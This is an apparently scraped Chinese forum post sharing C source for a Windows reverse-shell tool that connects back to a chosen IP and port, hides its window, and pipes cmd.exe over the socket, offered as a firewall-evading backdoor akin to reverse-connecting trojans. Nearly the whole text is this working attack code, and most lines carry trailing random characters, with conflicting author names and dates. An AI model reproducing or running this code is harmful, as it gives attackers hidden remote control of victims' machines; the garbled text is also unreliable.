这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `#p< rfe
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/* ============================== e# <4/FR
Rebound port in Windows NT )w3
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By wind,2006/7 P
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===============================*/ +Lhe,
#include `GS cRhbh
#include W1`Dx(g
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#pragma comment(lib,"wsock32.lib") pJocI_v9
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void OutputShell(); T+(M8qb
SOCKET sClient; +K&?)?/=
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ;t~*F#p(!
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void main(int argc,char **argv) $':JI#
{ sX!3_'-
WSADATA stWsaData; G
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int nRet; }pKv.
SOCKADDR_IN stSaiClient,stSaiServer; >~^`5a`$uI
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if(argc != 3) nfa_8
{ '(T mV#3
printf("Useage:\n\rRebound DestIP DestPort\n"); [\a:4vDAbi
return; cB<O.@
} |zh +
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WSAStartup(MAKEWORD(2,2),&stWsaData); "&Gw1.p
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); R~$hWu}}
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stSaiClient.sin_family = AF_INET; F:S"gRKz
stSaiClient.sin_port = htons(0); ^?nP$+gq
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \Vz,wy%-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u?H@C)P
{ dK`(BA{`3
printf("Bind Socket Failed!\n"); 7oD
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return; <8*A\&
} <5M_EJp
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stSaiServer.sin_family = AF_INET; }'v{dK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9QC< E|
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D(!;V
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *^uGvJXF
{ :Jm!=U%'Z
printf("Connect Error!"); 3Fgz)*Gu]
return; ?P%|P
} %n4@[fG%K
OutputShell(); &{BBxv)y
} ?THa5%8f
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void OutputShell() We\KDU\n
{ [;*\P\Xih
char szBuff[1024]; 40R"^*
SECURITY_ATTRIBUTES stSecurityAttributes; VZHr-z$6n
OSVERSIONINFO stOsversionInfo; 28ja-1dB
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 0e)lY='^_
STARTUPINFO stStartupInfo; >CH
char *szShell; xUQdVrFU
PROCESS_INFORMATION stProcessInformation; '^e0Ud,
unsigned long lBytesRead; g
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); j{)fC]8H
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5[nmP95YK
stSecurityAttributes.lpSecurityDescriptor = 0; Wux 0RF&
stSecurityAttributes.bInheritHandle = TRUE; zaH
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); JR])xPI`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,tau9>!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ES^NBI j5P
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hK
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stStartupInfo.wShowWindow = SW_HIDE; bAN 10U
stStartupInfo.hStdInput = hReadPipe; E2h(w_l
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 15o9CaQw4"
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GetVersionEx(&stOsversionInfo); y:~eU
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switch(stOsversionInfo.dwPlatformId) " 98/HzR
{ SE6>vKR/.
case 1: JvKO $^
szShell = "command.com"; *@CVYJ'<
break; ?){0-A4
default: cLn; ,u4
szShell = "cmd.exe"; H3!,d`D.N
break; _MGNKA6JI
} ;9}w|!/
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 3xRM
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send(sClient,szMsg,77,0); 3Wjq >\
while(1) km9Gwg/zT
{ SRP5P,- y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); nWKO8C>
if(lBytesRead) "(Mvl1^BT
{ hT.4t,wa8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); EV:_Kx8f P
send(sClient,szBuff,lBytesRead,0); f$Gr`d
} yZ?xt'tn
else q
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{ @P*ylB}?Q
lBytesRead=recv(sClient,szBuff,1024,0); c]GQU
if(lBytesRead<=0) break; Lc58lV=
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P;^y|0Nm
} 8w03{H
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} O5g}2
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return; 0PYvey }[
}